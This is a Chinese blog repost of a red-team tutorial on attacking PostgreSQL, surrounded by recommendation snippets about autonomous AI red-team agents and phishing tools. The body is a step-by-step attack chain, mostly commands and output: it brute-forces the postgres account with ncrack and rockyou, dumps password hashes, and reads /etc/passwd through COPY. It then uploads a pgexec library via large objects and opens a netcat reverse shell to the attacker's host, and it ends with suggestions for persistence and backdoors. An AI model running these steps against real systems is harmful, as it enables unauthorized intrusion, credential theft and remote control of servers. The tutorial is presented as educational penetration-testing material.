【Red Team——基础】红队的 PostgreSQL 攻击教程

AI红队崛起:Mythos如何实现自主漏洞挖掘与攻击链生成 AI红队是指具备独立渗透测试能力的智能系统,其核心在于将大语言模型从代码生成工具升级为具备攻击链建模、状态推理与漏洞发现闭环的数字安全实体。这背后依赖于攻击行为轨迹库训练、双轨推理引擎架构与测试时计算优化等关键技术突破。相比传统SAST/SCA工具,AI红队能跨越语义鸿沟理解内存操作路径、绕过防护机制并生成可复现PoC,已在真实CTF与内核级零日挖掘中验证有效性。当前典型应用场景包括自动化红蓝对抗演练、SBOM漏洞免疫验证及开发者安全素养重塑。Mythos正是这一范式演进的关键代表。 阅读详情

PostgreSQL是一个流行的开源关系数据库,具有广泛的平台支持。您可以在各种POSIX操作系统以及Windows上找到它。根据系统的配置,Postgres可以成为红队利用的宝贵资源。了解基础知识非常重要。那么让我们开始攻击PostgreSQL吧!

服务发现

Nmap是一个适合服务发现的扫描程序。我们可以很容易地选择massscan或unicornscan,但最简单的nmap命令通常是发现Postgres目标所需的全部内容。(在这个例子中,我们将针对一台名为的计算机sqlserver,)

$ nmap sqlserver

Starting Nmap 7.40 ( https://nmap.org ) at 2019-02-11 08:42 UTC
Nmap scan report for sqlserver (172.16.65.133)
Host is up (0.0000020s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
5432/tcp open  postgresql

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

此时,我们已经验证了目标是否存在,并且有一个PostgreSQL服务正在运行并暴露。

服务访问

我们可以使用许多不同的方法来访问机密服务。运气好的话可能存在某些共享文件夹或其他不安全配置; 但有时我们没那么幸运。常常需要爆破密码,但是有很多工具可以使用,比如Hydra,Medusa,Metasploit等工具,但我们将延演示使用ncrack。

首先,我们将尝试使用Rockyou breach列表攻击默认帐户postgres。在Kali Linux中,Rockyou列表是开箱即用的(您可以在/usr/share/wordlists/rockyou.txt.gz找到它)。由于我在这个示例中使用的是Kali,所以在使用它之前,我们首先需要解压缩归档文件。

$ gunzip /usr/share/wordlists/rockyou.txt.gz

接下来,我们将尝试通过ncrack对PostgreSQL服务发起攻击。指定要攻击的服务(psql://),目标(sqlserver),我们想要定位的用户(postgres),以及我们要为密码字典(rockyou.txt)。

$ ncrack psql://sqlserver -u postgres -P /usr/share/wordlists/rockyou.txt

Starting Ncrack 0.5 ( http://ncrack.org ) at 2019-02-11 09:24 UTC

Discovered credentials for psql on 172.16.65.133 5432/tcp:
172.16.65.133 5432/tcp psql: 'postgres' 'airforce'

Ncrack done: 1 service scanned in 69.02 seconds.

Ncrack finished.

在此示例中,我们爆破出了用户的凭据。

有了凭证,我们可以使用psqlcli连接到我们的目标远程数据库。

$ psql --user postgres -h sqlserver
Password for user postgres:
psql (9.6.2)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=#

成功!

服务侦察

现在我们有了访问权限,就要进行一些信息收集。首先列举可用的用户和角色。

postgres=# \du
                                   List of roles
 Role name |                         Attributes                         | Member of
-----------+------------------------------------------------------------+-----------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}

postgres=# select usename, passwd from pg_shadow;
 usename  |               passwd
----------+-------------------------------------
 postgres | md5fffc0bd6f9cb15de21317fd1f61df60f
(1 row)

接下来,列出可用的数据库和表。

postgres=# \l
                              List of databases
   Name    |  Owner   | Encoding | Collate |  Ctype  |   Access privileges
-----------+----------+----------+---------+---------+-----------------------
 postgres  | postgres | UTF8     | C.UTF-8 | C.UTF-8 |
 template0 | postgres | UTF8     | C.UTF-8 | C.UTF-8 | =c/postgres          +
           |          |          |         |         | postgres=CTc/postgres
 template1 | postgres | UTF8     | C.UTF-8 | C.UTF-8 | =c/postgres          +
           |          |          |         |         | postgres=CTc/postgres
(3 rows)

postgres=# \dt
No relations found.

命令执行

Postgres抽象了某些系统级别的函数,它将这些函数公开。例如,我们可以很容易地发现工作目录的内容,使用以下方法:

postgres=# select pg_ls_dir('./');
    pg_ls_dir
----------------------
PG_VERSION
base
global
pg_clog
pg_commit_ts
pg_dynshmem
pg_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
pg_xlog
postgresql.auto.conf
postmaster.pid
postmaster.opts
(21 rows)

我们可以更进一步,阅读这些文件的内容。

postgres=# select pg_read_file('PG_VERSION');
 pg_read_file
--------------
 9.6         +

(1 row)

我们还可以选择我们想要开始读取的偏移量,以及我们想要读取的字节数。例如,让我们读取postgresql.auto.conf末尾附近的特定12个字节。

postgres=# select pg_read_file('postgresql.auto.conf', 66, 12);
 pg_read_file
--------------
 ALTER SYSTEM
(1 row)

但是这个pg_read_file()功能有局限性。

postgres=# select pg_read_file('/etc/passwd');
ERROR:  absolute path not allowed
postgres=# select pg_read_file('../../../../etc/passwd');
ERROR:  path must be in or below the current directory

我们还可以在其中创建一个新表和COPY磁盘上的文件内容。然后,我们可以查询表以查看内容。

postgres=# create table docs (data TEXT);
CREATE TABLE
postgres=# copy docs from '/etc/passwd';
COPY 52
postgres=# select * from docs limit 10;
                       data
---------------------------------------------------
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 sync:x:4:65534:sync:/bin:/bin/sync
 games:x:5:60:games:/usr/games:/usr/sbin/nologin
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
(10 rows)

获得反向shell

所以现在我们可以访问我们的服务,我们可以从磁盘上的文件中读取。现在是时候看看我们是否可以得到反向shell。
Metasploit的有一个相当不错的payload
[Dionach]有一个很棒的小库,他们编写了一个名为pgexec()的函数,pgexec需要针对与正在运行的Postgres实例相同的主要和次要版本进行编译。

postgres=# select version();

但他也为许多常见版本提供了预构建的二进制文件。我们尝试其中一个。

$ curl https://github.com/Dionach/pgexec/blob/master/libraries/pg_exec-9.6.so -O pg_exec.so

现在我们有了库,但是如何将其传递到目标呢?幸运的是,我们可以在Postgres中生成loid来存储这些数据,然后尝试将其写入磁盘。

postgres=# select lo_creat(-1);
 lo_creat
----------
    16391
(1 row)

记下生成的lo_creat ID。您将在下面的示例中使用此功能。

但是,这里有一个警告。LOID条目最多可以是2K条,因此我们需要修改payload。我们可以在我们的bash shell中执行此操作(只需确保使用一些工作目录,因为您正在使用psql。)

$ split -b 2048 pg_exec.so

现在我们可以编写我们需要的SQL语句脚本来上传这个payload的所有部分。在这个例子中,我们将它们全部输入到一个名为的文件中upload.sql。请记住${LOID}使用之前抓取的ID 替换。

$ CNT=0; for f in x*; do echo '\set c'${CNT}' `base64 -w 0 '${f}'`'; echo 'INSERT INTO pg_largeobject (loid, pageno, data) values ('${LOID}', '${CNT}', decode(:'"'"c${CNT}"'"', '"'"'base64'"'"'));'; CNT=$(( CNT + 1 )); done > upload.sql

有了我们的SQL文件,我们可以将这些语句直接从磁盘包含到psql中。(同样,这假设upload.sql与psql位于同一个工作目录中。)

postgres=# \include upload.sql
INSERT 0 1
INSERT 0 1
INSERT 0 1
INSERT 0 1
INSERT 0 1

最后,我们将LOID保存到磁盘。(更改16391以匹配您的LOID。)

postgres=# select lo_export(16391, '/tmp/pg_exec.so');
 lo_export
-----------
         1
(1 row)

使用我们刚刚复制到磁盘的库创建新函数。

postgres=# CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT;
CREATE FUNCTION

现在我们应该能够对目标执行远程命令。pg_exec()不会显示输出,所以我们只是运行一些盲命令来设置我们的shell。

首先,确保本地计算机上有一个监听器。从另一个shell窗口,我们可以使用Ncat或Netcat进行设置。

$ nc -l -p 4444

执行反向shell。

postgres=# select sys('nc -e /bin/sh 172.16.65.140 4444');

我们现在应该有一个活跃的反向shell。但是,为了使它更加完善,我们需要生成一个TTY。很多方法可以做到这一点,但我将使用Python。它很普遍,效果很好。

python -c 'import pty; pty.spawn("/bin/sh")'
$

成就解锁!

特权升级

如果你很幸运,PostgreSQL以root身份运行,你现在可以完全控制目标。如果没有,您只有一个无特权的shell,您需要升级。我不会在这里讨论,但有很多方法可以尝试这一点。首先,我建议设置持久性。也许创建一个预定的作业来打开远程shell,以防断开连接?或某种后门服务。确切的方法将根据目标进行定制。完成后,您可以处理您的后期开发重新调整,可能是一些内核漏洞,并从那里进行转移。

希望本文能帮助您更深入地了解在您的参与过程中利用PostgreSQL。快乐的黑客!

原文地址:https://www.unix-ninja.com/p/postgresql_for_red_teams

ncrack工具使用说明(爆破、弱口令、nmap关联) 网络认证破解工具。Ncrack是用于网络身份验证破解的开源工具。它设计为使用可适应不同网络情况的动态引擎进行高速并行破解。Ncrack还可以针对特殊情况进行广泛的微调,尽管默认参数的通用性足以覆盖几乎所有情况。它建立在模块化架构上,可以轻松扩展以支持其他协议。Ncrack专为公司和安全专业人员设计,可以快速,可靠地审核大型网络的默认或弱密码。它还可以用于对单个服务进行相当复杂和密集的暴力破解攻击。Ncrack是nmap同一家公司开发的产品。 阅读详情

相关推荐

Kali和渗透测试

文章目录Kali Linux使用U盘/移动硬盘以live方式启动Kali启动Kali和常见操作Kali的使用教程 Kali Linux Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统,预装了许多渗透测试软件。 由Offensive Security Ltd维护和资助。其前身是BackTrack系统。 官网:https://www.kali.org/ 使用U盘/...

生活在别处 5076

密码攻击的应用

密码攻击分为在线密码攻击和离线密码攻击,在线密码攻击就是在登录系统中使用密码字典和用户名字典进行重复测试,爆破出该网站的密码。离线密码攻击就是想办法获取到对方的密码哈希值保存到本地,然后进行哈希值解密,获得密码。

m0_65096687的博客 1776

ncrack:Ncrack网络身份验证工具

恩克拉克 Ncrack是一种高速网络身份验证破解工具。 它旨在通过主动测试其所有主机和网络设备中的不良密码来帮助公司保护其网络。 安全专家在审核客户时也依赖Ncrack。 Ncrack是使用模块化方法,类似于Nmap的命令行语法以及可以根据网络反馈适应其行为的动态引擎设计的。 它允许对多个主机进行快速而可靠的大规模审核。 Ncrack的功能包括一个非常灵活的界面,该界面赋予用户对网络操作的完全控制权,允许进行非常复杂的暴力攻击,易于使用的计时模板,类似于Nmap的运行时交互等等。 支持的协议包括:SSH,RDP,FTP,Telnet,HTTP(S),Wordpress,POP3(S),IMAP,CVS,SMB,VNC,SIP,Redis,PostgreSQL,MQTT,MySQL,MSSQL,MongoDB,Cassandra,WinRM, OWA,DICOM。 请务必阅读Ncrack

kali linux对Metasploitable2漏洞利用, postgresql的 代码执行获得反弹shell 笔记

利用 msf 下 postgresql的 代码执行获得反弹shell. 实验环境: 攻击机:kali linux ip:192.168.172.134 目标机:Metasploittable2 ip:192.168.172.129 攻击过程: step1:探测 nmap 192.168.172.129 nmap -sV -p 5432 192.168.172.129 step2:漏...

边城浪子的博客 774

24届-Python面经(华为OD)

【摘要】24届非科班生通过栗栗姐指导成功转行华为OD。从4月4日零基础准备,经历机考(4/18)、测评(4/19)、资格面(5/7)、技术面(5/9-11)到5月17日获offer。全程栗栗姐提供题库、面经指导和实时跟进。虽遇压力面和技术短板,但在专业辅导下10天走完全流程。案例证明转行需自身努力+优质HR支持,栗栗姐团队提供多岗位(Java/Python等)、多地域(北上深等)OD机会,含笔试资料和全流程攻略。

2401_86909848的博客 1188

VMware虚拟机调用NVIDIA显卡全攻略:从3D加速到直通与vGPU

显卡虚拟化技术是虚拟化领域的关键组成部分,它通过在虚拟机中模拟或直接分配物理GPU资源,实现了图形渲染与通用计算的加速。其核心原理在于通过Hypervisor层对GPU指令进行拦截、转换或直接映射,从而平衡资源隔离与性能损耗。这项技术的核心价值在于提升资源利用率、实现计算环境隔离,并支持AI训练、3D渲染、科学计算等高性能负载的灵活部署。在应用场景上,轻量级图形界面加速、CUDA学习验证适合使用虚拟3D加速;而追求极致性能的机器学习训练、专业渲染则需依赖PCIe直通技术;对于企业级GPU资源池化与多租户共享

weixin_32308101的博客 1015

PurpleLab与MITRE ATT&CK联动教程:战术矩阵可视化与攻击路径分析

在网络安全领域,**MITRE ATT&CK框架**已成为威胁检测与响应的黄金标准。PurpleLab作为一款高效的网络安全实验室解决方案,提供了强大的MITRE ATT&CK集成功能,让安全专业人员能够轻松实现**战术矩阵可视化**与**攻击路径分析**。本文将详细介绍如何在PurpleLab中充分利用这些功能,提升您的威胁检测能力。🛡️ ## 什么是PurpleLab的MITRE ATT&

gitblog_01117的博客 482

ROS2 - 乐动激光雷达 LD06

STL-06P 主要由激光测距核心,无线传电单元,无线通讯单元,角度测量单元、电机驱动单元和机械外壳组成。STL-06P 测距核心采用 DTOF 技术,可进行每秒 5000 次的测距。每次测距时,雷达发射出红外激光,激光遇到目标物体后被反射到单光子接收单元。

机器人控制与仿真应用 3485

Decepticon 实战解析:面向红队的自主攻击 Agent——架构、部署、Agent 体系与 XBOW 基准

Decepticon 是一个专业的**自主红队(Red Team)Agent**,它不只跑 nmap 然后输出一份报告,而是以真实攻击者的方式执行侦察、利用、提权、横向移动与 C2 的完整杀伤链,并在任何一条指令发出之前生成完整的交战(Engagement)包——RoE、ConOps、Deconfliction Plan 与带 MITRE ATT&CK 映射的 OPPLAN,让每一步行动都运行在既

gitblog_00661的博客 184

华为OD机试 - 战士技能规划设计 - 数组(Python/JS/C/C++ 新系统 100分)

本专栏收录于《华为OD机试真题(Python/JS/C/C++)》。刷的越多,抽中的概率越大,私信哪吒,备注华为OD,加入华为OD刷题交流群,每一题都有详细的答题思路、详细的代码注释、3个测试用例、为什么这道题采用XX算法、XX算法的适用场景,发现新题目,随时更新。你为一款动作游戏设计战士角色的技能:战士每个技能会消耗不同能量,释放技能有 2 个约束:连续释放技能数量不能超过 m 个,技能能量总和不能超过能量上限 k;如果超过则必须中断当前技能,进入调息状态(即分段)。战士有一项爆发技巧:在单次战斗中有一次

学Java,找哪吒 227

MATLAB基础应用精讲-【数模应用】数字预失真(DPD)(附MATLAB代码实现)

近年来,随着无线通信技术的发展,高功率放大器 (PA) 在提高信号传输功率的同时,也带来了非线性失真问题。PA的非线性失真会造成信号频谱扩展、功率下降、邻道干扰等问题,严重影响系统性能。为了克服PA的非线性失真,数字预失真 (DPD) 技术应运而生。DPD技术通过在发射机中引入一个非线性模块,对信号进行预失真处理,从而补偿PA的非线性失真。

qq_36130719的博客 896

Decepticon:面向真实红队作战的自主攻击 Agent——双网络架构、16 专家 Agent 矩阵与模型 Fallback 链全解析

Decepticon 是一个以真实攻击链(侦察、利用、提权、横向移动、C2)为目标、而非"跑一遍 nmap 写份报告"的自主红队 Agent 框架。本文基于仓库官方 README 与配套文档,系统拆解它的定位、双网络隔离架构、16 个专家 Agent 的编排体系、Tier 感知的模型 Fallback 链、安装启动方式,以及在 XBOW 基准测试上的可复现实证结果。读完本文,你将掌握 Decept

gitblog_00289的博客 279

【项目典型案例】-2-任意帧/特定帧CAN唤醒对ECU首帧/启动时间的影响

任意帧/特定帧CAN唤醒对ECU启动时间的影响

「汽车电子助手」的博客 1943

红队侦察自动化:用n8n-CyberSecurity-Workflows搭建子域收集、攻击面监控与云桶发现三件套

n8n-CyberSecurity-Workflows 是一个面向安全团队的红队侦察自动化开源项目,提供 100+ 个可直接落地的 n8n 安全自动化工作流蓝图,覆盖 Red Team、Blue Team、AppSec 等场景。本文带你用其中的三件套——**子域收集、攻击面监控、云桶发现**,快速搭建一套可复用的侦察流水线。 ## 📦 项目是什么:100+ 安全自动化蓝图库 这个项目不是一套

gitblog_00630的博客 173

【Unity工具篇】| 使用YooAsset接入自己的游戏项目,实现完整热更新流程

前面文章介绍了YooAsset的原理和接入官方示例文档的文章介绍,本文使用YooAsset接入自己的游戏项目做示例。 【Unity工具篇】| 资源管理插件YooAsset,原理及相关配置 【Unity工具篇】| 游戏完整资源热更新流程,YooAsset官方示例项目 具体接入方法有很多种,本文会参照官方示例 Space Shooter 太空战机DEMO 用到的方式接入自己的游戏项目。

努力前行,总会成为自己心中的那道光 1万+

56、Cortex - M33处理器浮点单元(FPU)的使用与优化

本文详细介绍了Cortex-M33处理器浮点单元(FPU)的使用与优化方法,涵盖单双精度浮点计算的选择、编译器命令行配置、ABI模式对比、特殊FPU模式设置(如Flush-to-Zero、Default NaN)、浮点异常处理机制以及FPU电源管理策略。结合代码示例和流程图,提供了在不同应用场景下的最佳实践建议,并总结了常见问题及解决方案,帮助开发者提升嵌入式系统中浮点运算的性能、精度与能效。

bread的博客 154

Decepticon首次渗透演练实战:从目标定义到自主攻击循环的5个步骤

Decepticon 是一个开源的**自主红队(Red Team)渗透测试智能体**,它能像真实攻击者一样执行侦察、漏洞利用、权限提升与横向移动的完整攻击链,而不仅仅是跑一遍扫描器。本文带你完成 Decepticon 的首次渗透演练:从定义目标、生成作战计划,到批准执行、观察自主攻击循环,一共 5 个步骤,全程配有实操截图,适合新手快速上手。 > ⚠️ **合规提醒**:Decepticon 只

gitblog_00336的博客 755

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

如何快速上手Decepticon:一行命令部署AI黑客的完整入门教程

Decepticon 是一款开源的**自主红队 AI 黑客 Agent**(渗透测试智能体),它能在沙箱内自动完成信息收集、漏洞利用、权限提升等完整攻击链,并全程受"交战规则(RoE)"约束。本教程面向新手,带你用一行命令完成部署,几分钟内跑起自己的第一个 AI 渗透测试任务。 [![Decepticon 自动化红队测试仪表盘界面](https://raw.gitcode.com/gh_mirr

gitblog_00281的博客 685

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

PPT Master 快速安装指南:跑通原生 PPT 生成

PPT Master 把文档或主题转成原生可编辑的 PowerPoint 演示文稿(.pptx),形状、图表、表格都是原生对象,可逐元素编辑;它运行在任意带 Agent 能力的 AI 工具里,数据留在本机。这篇教程带你走完下载源码、装依赖、生成一份 3 页测试 PPT 的完整链路。 [![PPT Master 生成的原生 PowerPoint 演示文稿](https://raw.gitcode.

gitblog_00941的博客 950

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

红队测试经验转化:构建智能体搜索能力的实践指南

在网络安全领域,智能体(Agent)技术正成为自动化渗透测试和威胁搜索的关键驱动力。其核心原理在于将人类专家的决策逻辑和操作序列封装成可自主执行的软件实体,使其能够根据高层安全目标(如漏洞探测)自动规划并执行一系列信息收集、漏洞检测和利用验证动作。这一技术价值在于,它能将传统红队测试中零散、一次性的经验转化为可复用、可扩展的智能化知识资产,显著提升安全评估的效率和一致性。典型的应用场景包括自动化资产侦察、漏洞优先级判定以及模拟攻击路径验证。本文以“PIMiner”方法论为切入点,详细探讨如何将红队测试的实战

weixin_34037173的博客 329

Decepticon CLI使用指南:终端操作AI渗透Agent的10个核心命令

**Decepticon** 是一款自主红队 Agent(Autonomous Hacking Agent),而 **Decepticon CLI** 是你与这个 AI 渗透 Agent 交互的唯一入口——一条命令启动整个攻击基础设施,10 个核心命令完成安装、配置、启动、监控到卸载的全生命周期管理。本文面向新手,带你从零上手终端里的 AI 渗透测试。 > ⚠️ **合规提醒**:仅对你拥有或获

gitblog_00522的博客 706

如何把工作流蓝图变成n8n节点:n8n-CyberSecurity-Workflows完整落地教程

n8n-CyberSecurity-Workflows 是一个安全自动化蓝图库,收录了 100+ 个可直接落地的 n8n 工作流方案,覆盖红队(Red Team)、蓝队(SOC/DFIR)、应用安全(AppSec)和平台安全四大方向。每条蓝图都写明了**目的(Purpose)、集成工具(Integrations)和流程骨架(Flow Outline)**,你只需要照着把文字翻译成 n8n 节点,就

gitblog_00999的博客 1058

OpenAEV 上手指南:从克隆到第一次攻击演练

安全负责人问"我们的 EDR 到底防不防得住"时,除了真打一次,很难给出可信答案。OpenAEV 是一个开源的对手暴露验证平台,用来规划、排期并执行网络对手模拟演练,再量化现有防线的真实反应。这篇指南带你从克隆仓库一路跑通一次完整演练,最后你会拿到一份可打分、可对比的演练报告。 ## 🔍 30秒看懂它是什么 OpenAEV 把映射到 MITRE ATT&CK 的攻击手法变成可执行的演练动作,

gitblog_00805的博客 455

[ 钓鱼实战系列-基础篇-10 ] 一篇文章教会你选择与配置高效钓鱼工具

本文详细介绍了如何选择与配置高效的钓鱼工具,包括Gophish和Setoolkit等热门工具的使用技巧。从邮件钓鱼到网站克隆,提供了实战中的配置避坑指南、反检测技巧及法律合规要点,帮助读者快速掌握钓鱼工具的高效使用方法。

weixin_33686714的博客 692

T3MP3ST 作用域与授权模型:从 Mission 契约到证据账本的防守型红队安全体系

T3MP3ST 是一套面向授权安全研究的自主红队平台(multi-agent offensive-security meta-harness)。本篇指南围绕 `docs/SCOPE_AND_AUTHORIZATION.md` 展开,系统讲解它的"作用域与授权模型":如何用七层权威结构把一次富有想象力的对抗性 Mission 约束在合法边界内,如何通过四种执行模式与能力审批门控让危险工具在无人值守时

gitblog_01095的博客 330

选哪些工具?n8n-CyberSecurity-Workflows×安全工具集成图谱完全指南

**n8n-CyberSecurity-Workflows** 是一套基于 n8n 工作流平台的安全自动化蓝图库,收录 **100+ 可直接落地的工作流模板**,覆盖红队/渗透测试、蓝队(SOC/DFIR/威胁情报)、应用安全(AppSec/DevSecOps)与平台级安全四大领域。每个蓝图都给出了清晰的 **Purpose(目标)、Integrations(工具选型)和 Flow Outline

gitblog_00720的博客 436
上一篇: 【劫持风险】数百个暴露在公网的Docker主机恐遭劫持
下一篇: 【Red Team——基础】通过钓鱼攻击获得访问权限
FLy_鹏程万里
FLy_鹏程万里 优质创作者: 后端开发技术领域 优质创作者: 后端开发技术领域 领域专家: 操作系统技术领域 领域专家: 操作系统技术领域
博客等级 码龄9年 1万+粉丝 1364原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值